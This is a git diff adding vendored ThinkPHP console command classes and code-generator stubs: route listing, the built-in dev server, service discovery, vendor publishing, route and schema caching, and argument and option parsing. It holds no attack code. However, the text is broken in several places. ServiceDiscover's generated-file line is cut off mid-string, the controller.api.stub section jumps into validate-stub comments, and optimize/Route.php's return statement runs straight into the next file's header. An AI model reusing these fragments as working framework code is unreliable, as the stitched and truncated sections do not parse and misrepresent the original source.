RouteList extends Command +{ + protected $sortBy = [ + 'rule' => 0, + 'route' => 1, + 'method' => 2, + 'name' => 3, + 'domain' => 4, + ]; + + protected function configure() + { + $this->setName('route:list') + ->addArgument('dir', Argument::OPTIONAL, 'dir name .') + ->addArgument('style', Argument::OPTIONAL, "the style of the table.", 'default') + ->addOption('sort', 's', Option::VALUE_OPTIONAL, 'order by rule name.', 0) + ->addOption('more', 'm', Option::VALUE_NONE, 'show route options.') + ->setDescription('show route list.'); + } + + protected function execute(Input $input, Output $output) + { + $dir = $input->getArgument('dir') ?: ''; + + $filename = $this->app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR . ($dir ? $dir . DIRECTORY_SEPARATOR : '') . 'route_list.php'; + + if (is_file($filename)) { + unlink($filename); + } elseif (!is_dir(dirname($filename))) { + mkdir(dirname($filename), 0755); + } + + $content = $this->getRouteList($dir); + file_put_contents($filename, 'Route List' . PHP_EOL . $content); + } + + protected function getRouteList(string $dir = null): string + { + $this->app->route->setTestMode(true); + $this->app->route->clear(); + + if ($dir) { + $path = $this->app->getRootPath() . 'route' . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR; + } else { + $path = $this->app->getRootPath() . 'route' . DIRECTORY_SEPARATOR; + } + + $files = is_dir($path) ? scandir($path) : []; + + foreach ($files as $file) { + if (strpos($file, '.php')) { + include $path . $file; + } + } + + //触发路由载入完成事件 + $this->app->event->trigger(RouteLoaded::class); + + $table = new Table(); + + if ($this->input->hasOption('more')) { + $header = ['Rule', 'Route', 'Method', 'Name', 'Domain', 'Option', 'Pattern']; + } else { + $header = ['Rule', 'Route', 'Method', 'Name']; + } + + $table->setHeader($header); + + $routeList = $this->app->route->getRuleList(); + $rows = []; + + foreach ($routeList as $item) { + $item['route'] = $item['route'] instanceof \Closure ? '' : $item['route']; + + if ($this->input->hasOption('more')) { + $item = [$item['rule'], $item['route'], $item['method'], $item['name'], $item['domain'], json_encode($item['option']), json_encode($item['pattern'])]; + } else { + $item = [$item['rule'], $item['route'], $item['method'], $item['name']]; + } + + $rows[] = $item; + } + + if ($this->input->getOption('sort')) { + $sort = strtolower($this->input->getOption('sort')); + + if (isset($this->sortBy[$sort])) { + $sort = $this->sortBy[$sort]; + } + + uasort($rows, function ($a, $b) use ($sort) { + $itemA = $a[$sort] ?? null; + $itemB = $b[$sort] ?? null; + + return strcasecmp($itemA, $itemB); + }); + } + + $table->setRows($rows); + + if ($this->input->getArgument('style')) { + $style = $this->input->getArgument('style'); + $table->setStyle($style); + } + + return $this->table($table); + } + +} diff --git a/vendor/topthink/framework/src/think/console/command/RunServer.php b/vendor/topthink/framework/src/think/console/command/RunServer.php new file mode 100644 index 0000000..20a2466 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/RunServer.php @@ -0,0 +1,72 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\console\command; + +use think\console\Command; +use think\console\Input; +use think\console\input\Option; +use think\console\Output; + +class RunServer extends Command +{ + public function configure() + { + $this->setName('run') + ->addOption( + 'host', + 'H', + Option::VALUE_OPTIONAL, + 'The host to server the application on', + '0.0.0.0' + ) + ->addOption( + 'port', + 'p', + Option::VALUE_OPTIONAL, + 'The port to server the application on', + 8000 + ) + ->addOption( + 'root', + 'r', + Option::VALUE_OPTIONAL, + 'The document root of the application', + '' + ) + ->setDescription('PHP Built-in Server for ThinkPHP'); + } + + public function execute(Input $input, Output $output) + { + $host = $input->getOption('host'); + $port = $input->getOption('port'); + $root = $input->getOption('root'); + if (empty($root)) { + $root = $this->app->getRootPath() . 'public'; + } + + $command = sprintf( + 'php -S %s:%d -t %s %s', + $host, + $port, + escapeshellarg($root), + escapeshellarg($root . DIRECTORY_SEPARATOR . 'router.php') + ); + + $output->writeln(sprintf('ThinkPHP Development server is started On ', '0.0.0.0' == $host ? '127.0.0.1' : $host, $port)); + $output->writeln(sprintf('You can exit with `CTRL-C`')); + $output->writeln(sprintf('Document root is: %s', $root)); + passthru($command); + } + +} diff --git a/vendor/topthink/framework/src/think/console/command/ServiceDiscover.php b/vendor/topthink/framework/src/think/console/command/ServiceDiscover.php new file mode 100644 index 0000000..16eafce --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/ServiceDiscover.php @@ -0,0 +1,52 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\console\command; + +use think\console\Command; +use think\console\Input; +use think\console\Output; + +class ServiceDiscover extends Command +{ + public function configure() + { + $this->setName('service:discover') + ->setDescription('Discover Services for ThinkPHP'); + } + + public function execute(Input $input, Output $output) + { + if (is_file($path = $this->app->getRootPath() . 'vendor/composer/installed.json')) { + $packages = json_decode(@file_get_contents($path), true); + // Compatibility with Composer 2.0 + if (isset($packages['packages'])) { + $packages = $packages['packages']; + } + + $services = []; + foreach ($packages as $package) { + if (!empty($package['extra']['think']['services'])) { + $services = array_merge($services, (array) $package['extra']['think']['services']); + } + } + + $header = '// This file is automatically generated at:' . date('Y-m-d H:i:s') . PHP_EOL . 'declare (strict_types = 1);' . PHP_EOL; + + $content = 'app->getRootPath() . 'vendor/services.php', $content); + + $output->writeln('Succeed!'); + } + } +} diff --git a/vendor/topthink/framework/src/think/console/command/VendorPublish.php b/vendor/topthink/framework/src/think/console/command/VendorPublish.php new file mode 100644 index 0000000..7b43762 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/VendorPublish.php @@ -0,0 +1,66 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\console\command; + +use think\console\Command; +use think\console\input\Option; + +class VendorPublish extends Command +{ + public function configure() + { + $this->setName('vendor:publish') + ->addOption('force', 'f', Option::VALUE_NONE, 'Overwrite any existing files') + ->setDescription('Publish any publishable assets from vendor packages'); + } + + public function handle() + { + + $force = $this->input->getOption('force'); + + if (is_file($path = $this->app->getRootPath() . 'vendor/composer/installed.json')) { + $packages = json_decode(@file_get_contents($path), true); + + foreach ($packages as $package) { + //配置 + $configDir = $this->app->getConfigPath(); + + if (!empty($package['extra']['think']['config'])) { + + $installPath = $this->app->getRootPath() . 'vendor/' . $package['name'] . DIRECTORY_SEPARATOR; + + foreach ((array) $package['extra']['think']['config'] as $name => $file) { + + $target = $configDir . $name . '.php'; + $source = $installPath . $file; + + if (is_file($target) && !$force) { + $this->output->info("File {$target} exist!"); + continue; + } + + if (!is_file($source)) { + $this->output->info("File {$source} not exist!"); + continue; + } + + copy($source, $target); + } + } + } + + $this->output->writeln('Succeed!'); + } + } +} diff --git a/vendor/topthink/framework/src/think/console/command/Version.php b/vendor/topthink/framework/src/think/console/command/Version.php new file mode 100644 index 0000000..beb49d2 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/Version.php @@ -0,0 +1,33 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\console\command; + +use think\console\Command; +use think\console\Input; +use think\console\Output; + +class Version extends Command +{ + protected function configure() + { + // 指令配置 + $this->setName('version') + ->setDescription('show thinkphp framework version'); + } + + protected function execute(Input $input, Output $output) + { + $output->writeln('v' . $this->app->version()); + } + +} diff --git a/vendor/topthink/framework/src/think/console/command/make/Command.php b/vendor/topthink/framework/src/think/console/command/make/Command.php new file mode 100644 index 0000000..88e665a --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/Command.php @@ -0,0 +1,55 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\command\make; + +use think\console\command\Make; +use think\console\input\Argument; + +class Command extends Make +{ + protected $type = "Command"; + + protected function configure() + { + parent::configure(); + $this->setName('make:command') + ->addArgument('commandName', Argument::OPTIONAL, "The name of the command") + ->setDescription('Create a new command class'); + } + + protected function buildClass(string $name): string + { + $commandName = $this->input->getArgument('commandName') ?: strtolower(basename($name)); + $namespace = trim(implode('\\', array_slice(explode('\\', $name), 0, -1)), '\\'); + + $class = str_replace($namespace . '\\', '', $name); + $stub = file_get_contents($this->getStub()); + + return str_replace(['{%commandName%}', '{%className%}', '{%namespace%}', '{%app_namespace%}'], [ + $commandName, + $class, + $namespace, + $this->app->getNamespace(), + ], $stub); + } + + protected function getStub(): string + { + return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'command.stub'; + } + + protected function getNamespace(string $app): string + { + return parent::getNamespace($app) . '\\command'; + } + +} diff --git a/vendor/topthink/framework/src/think/console/command/make/Controller.php b/vendor/topthink/framework/src/think/console/command/make/Controller.php new file mode 100644 index 0000000..582cffb --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/Controller.php @@ -0,0 +1,56 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\command\make; + +use think\console\command\Make; +use think\console\input\Option; + +class Controller extends Make +{ + + protected $type = "Controller"; + + protected function configure() + { + parent::configure(); + $this->setName('make:controller') + ->addOption('api', null, Option::VALUE_NONE, 'Generate an api controller class.') + ->addOption('plain', null, Option::VALUE_NONE, 'Generate an empty controller class.') + ->setDescription('Create a new resource controller class'); + } + + protected function getStub(): string + { + $stubPath = __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR; + + if ($this->input->getOption('api')) { + return $stubPath . 'controller.api.stub'; + } + + if ($this->input->getOption('plain')) { + return $stubPath . 'controller.plain.stub'; + } + + return $stubPath . 'controller.stub'; + } + + protected function getClassName(string $name): string + { + return parent::getClassName($name) . ($this->app->config->get('route.controller_suffix') ? 'Controller' : ''); + } + + protected function getNamespace(string $app): string + { + return parent::getNamespace($app) . '\\controller'; + } + +} diff --git a/vendor/topthink/framework/src/think/console/command/make/Event.php b/vendor/topthink/framework/src/think/console/command/make/Event.php new file mode 100644 index 0000000..a4676d8 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/Event.php @@ -0,0 +1,35 @@ + +// +---------------------------------------------------------------------- +namespace think\console\command\make; + +use think\console\command\Make; + +class Event extends Make +{ + protected $type = "Event"; + + protected function configure() + { + parent::configure(); + $this->setName('make:event') + ->setDescription('Create a new event class'); + } + + protected function getStub(): string + { + return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'event.stub'; + } + + protected function getNamespace(string $app): string + { + return parent::getNamespace($app) . '\\event'; + } +} diff --git a/vendor/topthink/framework/src/think/console/command/make/Listener.php b/vendor/topthink/framework/src/think/console/command/make/Listener.php new file mode 100644 index 0000000..bb29668 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/Listener.php @@ -0,0 +1,35 @@ + +// +---------------------------------------------------------------------- +namespace think\console\command\make; + +use think\console\command\Make; + +class Listener extends Make +{ + protected $type = "Listener"; + + protected function configure() + { + parent::configure(); + $this->setName('make:listener') + ->setDescription('Create a new listener class'); + } + + protected function getStub(): string + { + return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'listener.stub'; + } + + protected function getNamespace(string $app): string + { + return parent::getNamespace($app) . '\\listener'; + } +} diff --git a/vendor/topthink/framework/src/think/console/command/make/Middleware.php b/vendor/topthink/framework/src/think/console/command/make/Middleware.php new file mode 100644 index 0000000..80f4563 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/Middleware.php @@ -0,0 +1,36 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\command\make; + +use think\console\command\Make; + +class Middleware extends Make +{ + protected $type = "Middleware"; + + protected function configure() + { + parent::configure(); + $this->setName('make:middleware') + ->setDescription('Create a new middleware class'); + } + + protected function getStub(): string + { + return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'middleware.stub'; + } + + protected function getNamespace(string $app): string + { + return 'app\\middleware'; + } +} diff --git a/vendor/topthink/framework/src/think/console/command/make/Model.php b/vendor/topthink/framework/src/think/console/command/make/Model.php new file mode 100644 index 0000000..acb37e7 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/Model.php @@ -0,0 +1,36 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\command\make; + +use think\console\command\Make; + +class Model extends Make +{ + protected $type = "Model"; + + protected function configure() + { + parent::configure(); + $this->setName('make:model') + ->setDescription('Create a new model class'); + } + + protected function getStub(): string + { + return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'model.stub'; + } + + protected function getNamespace(string $app): string + { + return parent::getNamespace($app) . '\\model'; + } +} diff --git a/vendor/topthink/framework/src/think/console/command/make/Service.php b/vendor/topthink/framework/src/think/console/command/make/Service.php new file mode 100644 index 0000000..18bd54e --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/Service.php @@ -0,0 +1,36 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\command\make; + +use think\console\command\Make; + +class Service extends Make +{ + protected $type = "Service"; + + protected function configure() + { + parent::configure(); + $this->setName('make:service') + ->setDescription('Create a new Service class'); + } + + protected function getStub(): string + { + return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'service.stub'; + } + + protected function getNamespace(string $app): string + { + return parent::getNamespace($app) . '\\service'; + } +} diff --git a/vendor/topthink/framework/src/think/console/command/make/Subscribe.php b/vendor/topthink/framework/src/think/console/command/make/Subscribe.php new file mode 100644 index 0000000..4203986 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/Subscribe.php @@ -0,0 +1,35 @@ + +// +---------------------------------------------------------------------- +namespace think\console\command\make; + +use think\console\command\Make; + +class Subscribe extends Make +{ + protected $type = "Subscribe"; + + protected function configure() + { + parent::configure(); + $this->setName('make:subscribe') + ->setDescription('Create a new subscribe class'); + } + + protected function getStub(): string + { + return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'subscribe.stub'; + } + + protected function getNamespace(string $app): string + { + return parent::getNamespace($app) . '\\subscribe'; + } +} diff --git a/vendor/topthink/framework/src/think/console/command/make/Validate.php b/vendor/topthink/framework/src/think/console/command/make/Validate.php new file mode 100644 index 0000000..4926e20 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/Validate.php @@ -0,0 +1,39 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\command\make; + +use think\console\command\Make; + +class Validate extends Make +{ + protected $type = "Validate"; + + protected function configure() + { + parent::configure(); + $this->setName('make:validate') + ->setDescription('Create a validate class'); + } + + protected function getStub(): string + { + $stubPath = __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR; + + return $stubPath . 'validate.stub'; + } + + protected function getNamespace(string $app): string + { + return parent::getNamespace($app) . '\\validate'; + } + +} diff --git a/vendor/topthink/framework/src/think/console/command/make/stubs/command.stub b/vendor/topthink/framework/src/think/console/command/make/stubs/command.stub new file mode 100644 index 0000000..3ee2b1c --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/stubs/command.stub @@ -0,0 +1,26 @@ +setName('{%commandName%}') + ->setDescription('the {%commandName%} command'); + } + + protected function execute(Input $input, Output $output) + { + // 指令输出 + $output->writeln('{%commandName%}'); + } +} diff --git a/vendor/topthink/framework/src/think/console/command/make/stubs/controller.api.stub b/vendor/topthink/framework/src/think/console/command/make/stubs/controller.api.stub new file mode 100644 index 0000000..5d3383d --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/make/stubs/controller.api.stub @@ -0,0 +1,64 @@ + ['规则1','规则2'...] + * + * @var array + */ + protected $rule = []; + + /** + * 定义错误信息 + * 格式:'字段名.规则名' => '错误信息' + * + * @var array + */ + protected $message = []; +} diff --git a/vendor/topthink/framework/src/think/console/command/optimize/Route.php b/vendor/topthink/framework/src/think/console/command/optimize/Route.php new file mode 100644 index 0000000..56f7f5a --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/optimize/Route.php @@ -0,0 +1,66 @@ + +// +---------------------------------------------------------------------- +namespace think\console\command\optimize; + +use think\console\Command; +use think\console\Input; +use think\console\input\Argument; +use think\console\Output; +use think\event\RouteLoaded; + +class Route extends Command +{ + protected function configure() + { + $this->setName('optimize:route') + ->addArgument('dir', Argument::OPTIONAL, 'dir name .') + ->setDescription('Build app route cache.'); + } + + protected function execute(Input $input, Output $output) + { + $dir = $input->getArgument('dir') ?: ''; + + $path = $this->app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR . ($dir ? $dir . DIRECTORY_SEPARATOR : ''); + + $filename = $path . 'route.php'; + if (is_file($filename)) { + unlink($filename); + } + + file_put_contents($filename, $this->buildRouteCache($dir)); + $output->writeln('Succeed!'); + } + + protected function buildRouteCache(string $dir = null): string + { + $this->app->route->clear(); + $this->app->route->lazy(false); + + // 路由检测 + $path = $this->app->getRootPath() . ($dir ? 'app' . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR : '') . 'route' . DIRECTORY_SEPARATOR; + + $files = is_dir($path) ? scandir($path) : []; + + foreach ($files as $file) { + if (strpos($file, '.php')) { + include $path . $file; + } + } + + //触发路由载入完成事件 + $this->app->event->trigger(RouteLoaded::class); + $rules = $this->app->route->getName(); + + return ' +// +---------------------------------------------------------------------- +namespace think\console\command\optimize; + +use think\console\Command; +use think\console\Input; +use think\console\input\Argument; +use think\console\input\Option; +use think\console\Output; +use think\db\PDOConnection; + +class Schema extends Command +{ + protected function configure() + { + $this->setName('optimize:schema') + ->addArgument('dir', Argument::OPTIONAL, 'dir name .') + ->addOption('connection', null, Option::VALUE_REQUIRED, 'connection name .') + ->addOption('table', null, Option::VALUE_REQUIRED, 'table name .') + ->setDescription('Build database schema cache.'); + } + + protected function execute(Input $input, Output $output) + { + $dir = $input->getArgument('dir') ?: ''; + + if ($input->hasOption('table')) { + $connection = $this->app->db->connect($input->getOption('connection')); + if (!$connection instanceof PDOConnection) { + $output->error("only PDO connection support schema cache!"); + return; + } + $table = $input->getOption('table'); + if (false === strpos($table, '.')) { + $dbName = $connection->getConfig('database'); + } else { + [$dbName, $table] = explode('.', $table); + } + + if ($table == '*') { + $table = $connection->getTables($dbName); + } + + $this->buildDataBaseSchema($connection, (array) $table, $dbName); + } else { + if ($dir) { + $appPath = $this->app->getBasePath() . $dir . DIRECTORY_SEPARATOR; + $namespace = 'app\\' . $dir; + } else { + $appPath = $this->app->getBasePath(); + $namespace = 'app'; + } + + $path = $appPath . 'model'; + $list = is_dir($path) ? scandir($path) : []; + + foreach ($list as $file) { + if (0 === strpos($file, '.')) { + continue; + } + $class = '\\' . $namespace . '\\model\\' . pathinfo($file, PATHINFO_FILENAME); + $this->buildModelSchema($class); + } + } + + $output->writeln('Succeed!'); + } + + protected function buildModelSchema(string $class): void + { + $reflect = new \ReflectionClass($class); + if (!$reflect->isAbstract() && $reflect->isSubclassOf('\think\Model')) { + /** @var \think\Model $model */ + $model = new $class; + $connection = $model->db()->getConnection(); + if ($connection instanceof PDOConnection) { + $table = $model->getTable(); + //预读字段信息 + $connection->getSchemaInfo($table, true); + } + } + } + + protected function buildDataBaseSchema(PDOConnection $connection, array $tables, string $dbName): void + { + foreach ($tables as $table) { + //预读字段信息 + $connection->getSchemaInfo("{$dbName}.{$table}", true); + } + } +} diff --git a/vendor/topthink/framework/src/think/console/input/Argument.php b/vendor/topthink/framework/src/think/console/input/Argument.php new file mode 100644 index 0000000..4fa3e3c --- /dev/null +++ b/vendor/topthink/framework/src/think/console/input/Argument.php @@ -0,0 +1,115 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\input; + +class Argument +{ + + const REQUIRED = 1; + const OPTIONAL = 2; + const IS_ARRAY = 4; + + private $name; + private $mode; + private $default; + private $description; + + /** + * 构造方法 + * @param string $name 参数名 + * @param int $mode 参数类型: self::REQUIRED 或者 self::OPTIONAL + * @param string $description 描述 + * @param mixed $default 默认值 (仅 self::OPTIONAL 类型有效) + * @throws \InvalidArgumentException + */ + public function __construct(string $name, int $mode = null, string $description = '', $default = null) + { + if (null === $mode) { + $mode = self::OPTIONAL; + } elseif (!is_int($mode) || $mode > 7 || $mode < 1) { + throw new \InvalidArgumentException(sprintf('Argument mode "%s" is not valid.', $mode)); + } + + $this->name = $name; + $this->mode = $mode; + $this->description = $description; + + $this->setDefault($default); + } + + /** + * 获取参数名 + * @return string + */ + public function getName(): string + { + return $this->name; + } + + /** + * 是否必须 + * @return bool + */ + public function isRequired(): bool + { + return self::REQUIRED === (self::REQUIRED & $this->mode); + } + + /** + * 该参数是否接受数组 + * @return bool + */ + public function isArray(): bool + { + return self::IS_ARRAY === (self::IS_ARRAY & $this->mode); + } + + /** + * 设置默认值 + * @param mixed $default 默认值 + * @throws \LogicException + */ + public function setDefault($default = null): void + { + if (self::REQUIRED === $this->mode && null !== $default) { + throw new \LogicException('Cannot set a default value except for InputArgument::OPTIONAL mode.'); + } + + if ($this->isArray()) { + if (null === $default) { + $default = []; + } elseif (!is_array($default)) { + throw new \LogicException('A default value for an array argument must be an array.'); + } + } + + $this->default = $default; + } + + /** + * 获取默认值 + * @return mixed + */ + public function getDefault() + { + return $this->default; + } + + /** + * 获取描述 + * @return string + */ + public function getDescription(): string + { + return $this->description; + } +} diff --git a/vendor/topthink/framework/src/think/console/input/Definition.php b/vendor/topthink/framework/src/think/console/input/Definition.php new file mode 100644 index 0000000..ccf02a0 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/input/Definition.php @@ -0,0 +1,375 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\input; + +class Definition +{ + + /** + * @var Argument[] + */ + private $arguments; + + private $requiredCount; + private $hasAnArrayArgument = false; + private $hasOptional; + + /** + * @var Option[] + */ + private $options; + private $shortcuts; + + /** + * 构造方法 + * @param array $definition + * @api + */ + public function __construct(array $definition = []) + { + $this->setDefinition($definition); + } + + /** + * 设置指令的定义 + * @param array $definition 定义的数组 + */ + public function setDefinition(array $definition): void + { + $arguments = []; + $options = []; + foreach ($definition as $item) { + if ($item instanceof Option) { + $options[] = $item; + } else { + $arguments[] = $item; + } + } + + $this->setArguments($arguments); + $this->setOptions($options); + } + + /** + * 设置参数 + * @param Argument[] $arguments 参数数组 + */ + public function setArguments(array $arguments = []): void + { + $this->arguments = []; + $this->requiredCount = 0; + $this->hasOptional = false; + $this->hasAnArrayArgument = false; + $this->addArguments($arguments); + } + + /** + * 添加参数 + * @param Argument[] $arguments 参数数组 + * @api + */ + public function addArguments(array $arguments = []): void + { + if (null !== $arguments) { + foreach ($arguments as $argument) { + $this->addArgument($argument); + } + } + } + + /** + * 添加一个参数 + * @param Argument $argument 参数 + * @throws \LogicException + */ + public function addArgument(Argument $argument): void + { + if (isset($this->arguments[$argument->getName()])) { + throw new \LogicException(sprintf('An argument with name "%s" already exists.', $argument->getName())); + } + + if ($this->hasAnArrayArgument) { + throw new \LogicException('Cannot add an argument after an array argument.'); + } + + if ($argument->isRequired() && $this->hasOptional) { + throw new \LogicException('Cannot add a required argument after an optional one.'); + } + + if ($argument->isArray()) { + $this->hasAnArrayArgument = true; + } + + if ($argument->isRequired()) { + ++$this->requiredCount; + } else { + $this->hasOptional = true; + } + + $this->arguments[$argument->getName()] = $argument; + } + + /** + * 根据名称或者位置获取参数 + * @param string|int $name 参数名或者位置 + * @return Argument 参数 + * @throws \InvalidArgumentException + */ + public function getArgument($name): Argument + { + if (!$this->hasArgument($name)) { + throw new \InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); + } + + $arguments = is_int($name) ? array_values($this->arguments) : $this->arguments; + + return $arguments[$name]; + } + + /** + * 根据名称或位置检查是否具有某个参数 + * @param string|int $name 参数名或者位置 + * @return bool + * @api + */ + public function hasArgument($name): bool + { + $arguments = is_int($name) ? array_values($this->arguments) : $this->arguments; + + return isset($arguments[$name]); + } + + /** + * 获取所有的参数 + * @return Argument[] 参数数组 + */ + public function getArguments(): array + { + return $this->arguments; + } + + /** + * 获取参数数量 + * @return int + */ + public function getArgumentCount(): int + { + return $this->hasAnArrayArgument ? PHP_INT_MAX : count($this->arguments); + } + + /** + * 获取必填的参数的数量 + * @return int + */ + public function getArgumentRequiredCount(): int + { + return $this->requiredCount; + } + + /** + * 获取参数默认值 + * @return array + */ + public function getArgumentDefaults(): array + { + $values = []; + foreach ($this->arguments as $argument) { + $values[$argument->getName()] = $argument->getDefault(); + } + + return $values; + } + + /** + * 设置选项 + * @param Option[] $options 选项数组 + */ + public function setOptions(array $options = []): void + { + $this->options = []; + $this->shortcuts = []; + $this->addOptions($options); + } + + /** + * 添加选项 + * @param Option[] $options 选项数组 + * @api + */ + public function addOptions(array $options = []): void + { + foreach ($options as $option) { + $this->addOption($option); + } + } + + /** + * 添加一个选项 + * @param Option $option 选项 + * @throws \LogicException + * @api + */ + public function addOption(Option $option): void + { + if (isset($this->options[$option->getName()]) && !$option->equals($this->options[$option->getName()])) { + throw new \LogicException(sprintf('An option named "%s" already exists.', $option->getName())); + } + + if ($option->getShortcut()) { + foreach (explode('|', $option->getShortcut()) as $shortcut) { + if (isset($this->shortcuts[$shortcut]) + && !$option->equals($this->options[$this->shortcuts[$shortcut]]) + ) { + throw new \LogicException(sprintf('An option with shortcut "%s" already exists.', $shortcut)); + } + } + } + + $this->options[$option->getName()] = $option; + if ($option->getShortcut()) { + foreach (explode('|', $option->getShortcut()) as $shortcut) { + $this->shortcuts[$shortcut] = $option->getName(); + } + } + } + + /** + * 根据名称获取选项 + * @param string $name 选项名 + * @return Option + * @throws \InvalidArgumentException + * @api + */ + public function getOption(string $name): Option + { + if (!$this->hasOption($name)) { + throw new \InvalidArgumentException(sprintf('The "--%s" option does not exist.', $name)); + } + + return $this->options[$name]; + } + + /** + * 根据名称检查是否有这个选项 + * @param string $name 选项名 + * @return bool + * @api + */ + public function hasOption(string $name): bool + { + return isset($this->options[$name]); + } + + /** + * 获取所有选项 + * @return Option[] + * @api + */ + public function getOptions(): array + { + return $this->options; + } + + /** + * 根据名称检查某个选项是否有短名称 + * @param string $name 短名称 + * @return bool + */ + public function hasShortcut(string $name): bool + { + return isset($this->shortcuts[$name]); + } + + /** + * 根据短名称获取选项 + * @param string $shortcut 短名称 + * @return Option + */ + public function getOptionForShortcut(string $shortcut): Option + { + return $this->getOption($this->shortcutToName($shortcut)); + } + + /** + * 获取所有选项的默认值 + * @return array + */ + public function getOptionDefaults(): array + { + $values = []; + foreach ($this->options as $option) { + $values[$option->getName()] = $option->getDefault(); + } + + return $values; + } + + /** + * 根据短名称获取选项名 + * @param string $shortcut 短名称 + * @return string + * @throws \InvalidArgumentException + */ + private function shortcutToName(string $shortcut): string + { + if (!isset($this->shortcuts[$shortcut])) { + throw new \InvalidArgumentException(sprintf('The "-%s" option does not exist.', $shortcut)); + } + + return $this->shortcuts[$shortcut]; + } + + /** + * 获取该指令的介绍 + * @param bool $short 是否简洁介绍 + * @return string + */ + public function getSynopsis(bool $short = false): string + { + $elements = []; + + if ($short && $this->getOptions()) { + $elements[] = '[options]'; + } elseif (!$short) { + foreach ($this->getOptions() as $option) { + $value = ''; + if ($option->acceptValue()) { + $value = sprintf(' %s%s%s', $option->isValueOptional() ? '[' : '', strtoupper($option->getName()), $option->isValueOptional() ? ']' : ''); + } + + $shortcut = $option->getShortcut() ? sprintf('-%s|', $option->getShortcut()) : ''; + $elements[] = sprintf('[%s--%s%s]', $shortcut, $option->getName(), $value); + } + } + + if (count($elements) && $this->getArguments()) { + $elements[] = '[--]'; + } + + foreach ($this->getArguments() as $argument) { + $element = '<' . $argument->getName() . '>'; + if (!$argument->isRequired()) { + $element = '[' . $element . ']'; + } elseif ($argument->isArray()) { + $element .= ' (' . $element . ')'; + } + + if ($argument->isArray()) { + $element .= '...'; + } + + $elements[] = $element; + } + + return implode(' ', $elements); + } +} diff --git a/vendor/topthink/framework/src/think/console/input/Option.php b/vendor/topthink/framework/src/think/console/input/Option.php new file mode 100644 index 0000000..19c7e1e --- /dev/null +++ b/vendor/topthink/framework/src/think/console/input/Option.php @@ -0,0 +1,221 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\input; + +/** + * 命令行选项 + * @package think\console\input + */ +class Option +{ + // 无需传值 + const VALUE_NONE = 1; + // 必须传值 + const VALUE_REQUIRED = 2; + // 可选传值 + const VALUE_OPTIONAL = 4; + // 传数组值 + const VALUE_IS_ARRAY = 8; + + /** + * 选项名 + * @var string + */ + private $name; + + /** + * 选项短名称 + * @var string + */ + private $shortcut; + + /** + * 选项类型 + * @var int + */ + private $mode; + + /** + * 选项默认值 + * @var mixed + */ + private $default; + + /** + * 选项描述 + * @var string + */ + private $description; + + /** + * 构造方法 + * @param string $name 选项名 + * @param string|array $shortcut 短名称,多个用|隔开或者使用数组 + * @param int $mode 选项类型(可选类型为 self::VALUE_*) + * @param string $description 描述 + * @param mixed $default 默认值 (类型为 self::VALUE_REQUIRED 或者 self::VALUE_NONE 的时候必须为null) + * @throws \InvalidArgumentException + */ + public function __construct($name, $shortcut = null, $mode = null, $description = '', $default = null) + { + if (0 === strpos($name, '--')) { + $name = substr($name, 2); + } + + if (empty($name)) { + throw new \InvalidArgumentException('An option name cannot be empty.'); + } + + if (empty($shortcut)) { + $shortcut = null; + } + + if (null !== $shortcut) { + if (is_array($shortcut)) { + $shortcut = implode('|', $shortcut); + } + $shortcuts = preg_split('{(\|)-?}', ltrim($shortcut, '-')); + $shortcuts = array_filter($shortcuts); + $shortcut = implode('|', $shortcuts); + + if (empty($shortcut)) { + throw new \InvalidArgumentException('An option shortcut cannot be empty.'); + } + } + + if (null === $mode) { + $mode = self::VALUE_NONE; + } elseif (!is_int($mode) || $mode > 15 || $mode < 1) { + throw new \InvalidArgumentException(sprintf('Option mode "%s" is not valid.', $mode)); + } + + $this->name = $name; + $this->shortcut = $shortcut; + $this->mode = $mode; + $this->description = $description; + + if ($this->isArray() && !$this->acceptValue()) { + throw new \InvalidArgumentException('Impossible to have an option mode VALUE_IS_ARRAY if the option 